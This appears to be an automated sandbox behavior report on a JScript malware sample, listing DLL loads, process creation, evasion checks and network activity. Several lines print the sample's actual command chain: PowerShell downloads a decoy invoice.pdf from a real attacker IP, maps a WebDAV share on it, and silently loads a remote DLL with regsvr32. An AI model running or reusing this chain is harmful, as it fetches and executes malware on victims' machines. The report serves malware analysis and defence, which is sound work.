Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9769.js.csv");ITextStream.WriteLine(" entry:8231 f:vjufx");ITextStream.WriteLine(" exec:2 f:vjufx");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49724

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4881			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4684			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6276	Thread sleep count: 4881 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6276	Thread sleep count: 4684 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2812	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5632	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2836	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5552	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4088	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1088	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2234057449.000002A849C68000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000003.2233235568.000002A849CC8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2234449361.000002A849CC8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2230576367.000002A849CC8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3459139084.000002F9C362B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3460113699.000002F9C8E54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll
